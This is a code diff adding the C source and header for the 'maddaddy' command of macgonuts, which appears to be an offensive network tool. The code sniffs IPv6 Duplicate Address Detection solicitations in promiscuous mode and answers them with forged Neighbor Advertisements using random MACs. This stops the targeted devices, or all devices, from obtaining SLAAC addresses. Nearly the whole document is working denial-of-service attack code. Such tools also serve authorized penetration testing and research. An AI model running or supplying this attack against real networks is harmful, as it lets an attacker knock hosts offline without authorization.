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Original file line number | Diff line number | Diff line change |
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/* | ||
* Copyright (c) 2023, Rafael Santiago | ||
* All rights reserved. | ||
* | ||
* This source code is licensed under the BSD-style license found in the | ||
* LICENSE file in the root directory of this source tree. | ||
*/ | ||
#include <cmd/macgonuts_maddaddy_task.h> | ||
#include <cmd/macgonuts_option.h> | ||
#include <macgonuts_etherconv.h> | ||
#include <macgonuts_socket_common.h> | ||
#include <macgonuts_socket.h> | ||
#include <macgonuts_icmphdr.h> | ||
#include <macgonuts_ndphdr.h> | ||
#include <macgonuts_ip6hdr.h> | ||
#include <macgonuts_ethfrm.h> | ||
#include <macgonuts_ipchsum.h> | ||
#include <macgonuts_status_info.h> | ||
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static int g_QuitMadDaddy = 0; | ||
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static int do_mad_daddy(const char *iface, const uint8_t *hw_addrs, const size_t hw_addrs_size); | ||
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static inline __attribute__((unused)) int send_fake_na(const macgonuts_socket_t rsk, | ||
const uint8_t *ethbuf, const ssize_t ethbuf_size); | ||
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static void sigint_watchdog(int signo); | ||
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static uint8_t *preprocess_targets_array(char **targets, const size_t targets_nr, size_t *macs_buf_size); | ||
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static uint8_t *preprocess_targets_array(char **targets, const size_t targets_nr, size_t *macs_buf_size); | ||
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static inline int is_solicited_node_multicast_link(const uint8_t *ethbuf, const ssize_t ethbuf_size); | ||
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static inline int is_solicited_node_multicast_proto(const uint8_t *ethbuf, const ssize_t ethbuf_size); | ||
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static inline int is_ndp_ns(const uint8_t *ethbuf, const ssize_t ethbuf_size); | ||
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static inline int should_dad_go_bad(const uint8_t *ethbuf, const ssize_t ethbuf_size, | ||
const uint8_t *hw_addrs, const size_t hw_addrs_size); | ||
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int macgonuts_maddaddy_task(void) { | ||
int err = EXIT_FAILURE; | ||
const char *lo_iface = macgonuts_get_option("lo-iface", NULL); | ||
char **targets = NULL; | ||
size_t targets_nr = 0; | ||
uint8_t *hw_addrs = NULL; | ||
size_t hw_addrs_size = 0; | ||
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if (lo_iface == NULL) { | ||
macgonuts_si_error("--lo-iface option is missing.\n"); | ||
goto macgonuts_maddaddy_task_epilogue; | ||
} | ||
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targets = macgonuts_get_array_option("targets", NULL, &targets_nr); | ||
if (targets != NULL) { | ||
hw_addrs = preprocess_targets_array(targets, targets_nr, &hw_addrs_size); | ||
macgonuts_free_array_option_value(targets, targets_nr); | ||
targets = NULL; | ||
} | ||
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err = do_mad_daddy(lo_iface, hw_addrs, hw_addrs_size); | ||
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macgonuts_maddaddy_task_epilogue: | ||
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if (hw_addrs != NULL) { | ||
free(hw_addrs); | ||
} | ||
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if (targets != NULL) { | ||
macgonuts_free_array_option_value(targets, targets_nr); | ||
} | ||
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return err; | ||
} | ||
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int macgonuts_maddaddy_task_help(void) { | ||
macgonuts_si_print("use: macgonuts maddady --lo-iface=<label> [ --targets=<hw-addr-list> ]\n"); | ||
return EXIT_SUCCESS; | ||
} | ||
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static int do_mad_daddy(const char *iface, const uint8_t *hw_addrs, const size_t hw_addrs_size) { | ||
char buf[256]; | ||
macgonuts_socket_t rsk = -1; | ||
uint8_t ethbuf[1<<10]; | ||
ssize_t ethbuf_size = 0; | ||
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if (macgonuts_get_addr_from_iface_unix(buf, sizeof(buf) - 1, 6, iface) != EXIT_SUCCESS) { | ||
macgonuts_si_error("interface `%s` does not support IPv6.\n"); | ||
return EXIT_FAILURE; | ||
} | ||
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if (macgonuts_set_iface_promisc_on(iface) != EXIT_SUCCESS) { | ||
macgonuts_si_error("unable to set %s to promisc mode.\n", iface); | ||
return EXIT_FAILURE; | ||
} | ||
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rsk = macgonuts_create_socket(iface, 1); | ||
if (rsk == -1) { | ||
macgonuts_si_error("unable to create raw socket.\n"); | ||
macgonuts_set_iface_promisc_off(iface); | ||
return EXIT_FAILURE; | ||
} | ||
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signal(SIGINT, sigint_watchdog); | ||
signal(SIGTERM, sigint_watchdog); | ||
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while (!g_QuitMadDaddy) { | ||
ethbuf_size = macgonuts_recvpkt(rsk, ethbuf, sizeof(ethbuf)); | ||
if (ethbuf_size > 0 | ||
&& is_solicited_node_multicast_link(ethbuf, ethbuf_size) | ||
&& is_solicited_node_multicast_proto(ethbuf, ethbuf_size) | ||
&& is_ndp_ns(ethbuf, ethbuf_size) | ||
&& should_dad_go_bad(ethbuf, ethbuf_size, hw_addrs, hw_addrs_size) | ||
&& send_fake_na(rsk, ethbuf, ethbuf_size) == EXIT_SUCCESS) { | ||
(void)snprintf(buf, sizeof(buf) - 1, | ||
"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", ethbuf[ 6], ethbuf[ 7], ethbuf[ 8], | ||
ethbuf[ 9], ethbuf[10], ethbuf[11]); | ||
macgonuts_si_info("SLAAC based network ingress was denied for device `%s`.\n", buf); | ||
} | ||
usleep(10); | ||
} | ||
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macgonuts_release_socket(rsk); | ||
macgonuts_set_iface_promisc_off(iface); | ||
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return EXIT_SUCCESS; | ||
} | ||
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static void sigint_watchdog(int signo) { | ||
g_QuitMadDaddy = 1; | ||
} | ||
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static inline int send_fake_na(const macgonuts_socket_t rsk, const uint8_t *ethbuf, const ssize_t ethbuf_size) { | ||
struct macgonuts_ethfrm_ctx eth; | ||
struct macgonuts_ip6hdr_ctx ip6; | ||
struct macgonuts_icmphdr_ctx icmp6; | ||
struct macgonuts_ndp_nsna_hdr_ctx ndp; | ||
struct macgonuts_ip6_pseudo_hdr_ctx ip6phdr; | ||
int err = EXIT_FAILURE; | ||
size_t icmp_pkt_size = 0; | ||
unsigned char *fake_na = NULL; | ||
size_t fake_na_size = 0; | ||
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assert(ethbuf_size > 54); | ||
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memset(ð, 0, sizeof(eth)); | ||
memset(&ip6, 0, sizeof(ip6)); | ||
memset(&icmp6, 0, sizeof(icmp6)); | ||
memset(&ndp, 0, sizeof(ndp)); | ||
memset(&ip6phdr, 0, sizeof(ip6phdr)); | ||
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ndp.reserv = 0x20000000; // INFO(Rafael): Override flag. | ||
ndp.options = (uint8_t *)malloc(8); | ||
if (ndp.options == NULL) { | ||
macgonuts_si_error("unable to allocate NDP options buffer.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
ndp.options_size = 8; | ||
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ndp.options[0] = 0x02; | ||
ndp.options[1] = 0x01; | ||
if (macgonuts_getrandom_raw_ether_addr(&ndp.options[2], 6) != EXIT_SUCCESS) { | ||
macgonuts_si_error("unable to get random MAC address.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
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icmp6.type = kNDPMsgTypeNeighborAdvertisement; | ||
icmp6.code = 0; | ||
icmp6.payload = (uint8_t *)macgonuts_make_ndp_nsna_pkt(&ndp, &icmp6.payload_size); | ||
if (icmp6.payload == NULL) { | ||
macgonuts_si_error("unable to make NDP/NA packet.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
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ip6.version = 6; | ||
ip6.next_header = 0x3A; | ||
ip6.hop_limit = 0xFF; | ||
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ip6.dest_addr[0] = 0xFF; // INFO(Rafael): All nodes (link-local scope). | ||
ip6.dest_addr[1] = 0x02; | ||
ip6.dest_addr[15] = 0x01; | ||
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memcpy(&ip6.src_addr[0], ðbuf[14 + 24], 16); | ||
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memcpy(&ip6phdr.src_addr[0], &ip6.src_addr[0], sizeof(ip6phdr.src_addr)); | ||
memcpy(&ip6phdr.dest_addr[0], &ip6.dest_addr[0], sizeof(ip6phdr.dest_addr)); | ||
icmp_pkt_size = 4 + icmp6.payload_size; | ||
ip6phdr.upper_layer_pkt_len[0] = (icmp_pkt_size >> 24) & 0xFF; | ||
ip6phdr.upper_layer_pkt_len[1] = (icmp_pkt_size >> 16) & 0xFF; | ||
ip6phdr.upper_layer_pkt_len[2] = (icmp_pkt_size >> 8) & 0xFF; | ||
ip6phdr.upper_layer_pkt_len[3] = icmp_pkt_size & 0xFF; | ||
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ip6.payload = (uint8_t *)macgonuts_make_icmp_pkt(&icmp6, &icmp_pkt_size, &ip6phdr, sizeof(ip6phdr)); | ||
if (ip6.payload == NULL) { | ||
macgonuts_si_error("unable to make ICMP packet.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
ip6.payload_length = icmp_pkt_size & 0xFFFF; | ||
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memcpy(ð.dest_hw_addr[0], ðbuf[6], sizeof(eth.dest_hw_addr)); | ||
memcpy(ð.src_hw_addr[0], &ndp.options[2], sizeof(eth.src_hw_addr)); | ||
eth.ether_type = MACGONUTS_ETHER_TYPE_IP6; | ||
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eth.data = (uint8_t *)macgonuts_make_ip6_pkt(&ip6, ð.data_size); | ||
if (eth.data == NULL) { | ||
macgonuts_si_error("unable to make IPv6 packet.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
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fake_na = macgonuts_make_ethernet_frm(ð, &fake_na_size); | ||
if (fake_na == NULL) { | ||
macgonuts_si_error("unable to make ethernet frame.\n"); | ||
goto send_fake_na_epilogue; | ||
} | ||
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if (macgonuts_sendpkt(rsk, fake_na, fake_na_size) == fake_na_size) { | ||
err = EXIT_SUCCESS; | ||
} | ||
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send_fake_na_epilogue: | ||
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if (fake_na != NULL) { | ||
free(fake_na); | ||
} | ||
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macgonuts_release_ethfrm(ð); | ||
macgonuts_release_ip6hdr(&ip6); | ||
macgonuts_release_icmphdr(&icmp6); | ||
macgonuts_release_ndp_nsna_hdr(&ndp); | ||
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return err; | ||
} | ||
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static uint8_t *preprocess_targets_array(char **targets, const size_t targets_nr, size_t *macs_buf_size) { | ||
char **target = targets; | ||
char **targets_end = targets + targets_nr; | ||
uint8_t *macs_buf = NULL; | ||
uint8_t *mp = NULL; | ||
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*macs_buf_size = targets_nr * 6; | ||
macs_buf = (uint8_t *)malloc(*macs_buf_size); | ||
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if (macs_buf == NULL) { | ||
macgonuts_si_error("unable to allocate MAC bufs list.\n"); | ||
return NULL; | ||
} | ||
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mp = macs_buf; | ||
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while (target != targets_end) { | ||
if (macgonuts_get_raw_ether_addr(mp, 6, *target, strlen(*target)) != EXIT_SUCCESS) { | ||
macgonuts_si_error("unable to pre-process MAC `%s`.\n", *target); | ||
free(macs_buf); | ||
return NULL; | ||
} | ||
target++; | ||
mp += 6; | ||
} | ||
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return macs_buf; | ||
} | ||
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static inline int is_solicited_node_multicast_link(const uint8_t *ethbuf, const ssize_t ethbuf_size) { | ||
return (ethbuf_size > 14 && ethbuf[0] == 0x33 && ethbuf[1] == 0x33 && ethbuf[2] == 0xFF); | ||
} | ||
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static inline int is_solicited_node_multicast_proto(const uint8_t *ethbuf, const ssize_t ethbuf_size) { | ||
return (ethbuf_size > 54 // INFO(Rafael): Ethernet frame size + IPv6 header size. | ||
&& ethbuf[12 ] == 0x86 // INFO(Rafael): IPv6 ether type. | ||
&& ethbuf[13 ] == 0xDD | ||
&& ethbuf[14 + 24] == 0xFF // INFO(Rafael): Solicited node multicast address. | ||
&& ethbuf[14 + 25] == 0x02 | ||
&& ethbuf[14 + 26] == 0x00 | ||
&& ethbuf[14 + 27] == 0x00 | ||
&& ethbuf[14 + 28] == 0x00 | ||
&& ethbuf[14 + 29] == 0x00 | ||
&& ethbuf[14 + 30] == 0x00 | ||
&& ethbuf[14 + 31] == 0x00 | ||
&& ethbuf[14 + 32] == 0x00 | ||
&& ethbuf[14 + 33] == 0x00 | ||
&& ethbuf[14 + 34] == 0x00 | ||
&& ethbuf[14 + 35] == 0x01 | ||
&& ethbuf[14 + 36] == 0xFF | ||
&& ethbuf[14 + 37] == ethbuf[3] | ||
&& ethbuf[14 + 38] == ethbuf[4] | ||
&& ethbuf[14 + 39] == ethbuf[5]); | ||
} | ||
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static inline int is_ndp_ns(const uint8_t *ethbuf, const ssize_t ethbuf_size) { | ||
struct macgonuts_icmphdr_ctx icmp6; | ||
struct macgonuts_ndp_nsna_hdr_ctx ndp; | ||
int is = 0; | ||
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assert(ethbuf_size > 54); | ||
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memset(&icmp6, 0, sizeof(icmp6)); | ||
memset(&ndp, 0, sizeof(ndp)); | ||
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if (macgonuts_read_icmp_pkt(&icmp6, ðbuf[54], ethbuf_size - 54) != EXIT_SUCCESS | ||
|| icmp6.type != kNDPMsgTypeNeighborSolicitation | ||
|| icmp6.code != 0) { | ||
goto is_ndp_ns_epilogue; | ||
} | ||
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if (macgonuts_read_ndp_nsna_pkt(&ndp, icmp6.payload, icmp6.payload_size) != EXIT_SUCCESS) { | ||
goto is_ndp_ns_epilogue; | ||
} | ||
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is = (ndp.target_addr[0] == 0xFE800000 | ||
&& ndp.target_addr[1] == 0x0); // INFO(Rafael): Does it seems a link local unicast address? | ||
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is_ndp_ns_epilogue: | ||
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macgonuts_release_ndp_nsna_hdr(&ndp); | ||
macgonuts_release_icmphdr(&icmp6); | ||
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return is; | ||
} | ||
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static inline int should_dad_go_bad(const uint8_t *ethbuf, const ssize_t ethbuf_size, | ||
const uint8_t *hw_addrs, const size_t hw_addrs_size) { | ||
const uint8_t *curr_hw_addr = NULL; | ||
const uint8_t *hw_addrs_end = hw_addrs + hw_addrs_size; | ||
int go_bad = 0; | ||
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assert(ethbuf_size > 14); | ||
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if (hw_addrs == NULL || hw_addrs_size == 0) { | ||
return 1; | ||
} | ||
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curr_hw_addr = hw_addrs; | ||
while (curr_hw_addr < hw_addrs_end && !go_bad) { | ||
go_bad = (memcmp(ðbuf[6], curr_hw_addr, 6) == 0); | ||
curr_hw_addr += 6; | ||
} | ||
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return go_bad; | ||
} | ||
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|
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Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
/* | ||
* Copyright (c) 2023, Rafael Santiago | ||
* All rights reserved. | ||
* | ||
* This source code is licensed under the BSD-style license found in the | ||
* LICENSE file in the root directory of this source tree. | ||
*/ | ||
#ifndef MACGONUTS_CMD_MACGONUTS_MADDADDY_TASK_H | ||
#define MACGONUTS_CMD_MACGONUTS_MADDADDY_TASK_H 1 | ||
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#include <macgonuts_types.h> | ||
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int macgonuts_maddaddy_task(void); | ||
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int macgonuts_maddaddy_task_help(void); | ||
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#endif // MACGONUTS_CMD_MACGONUTS_MADDADDY_TASK_H |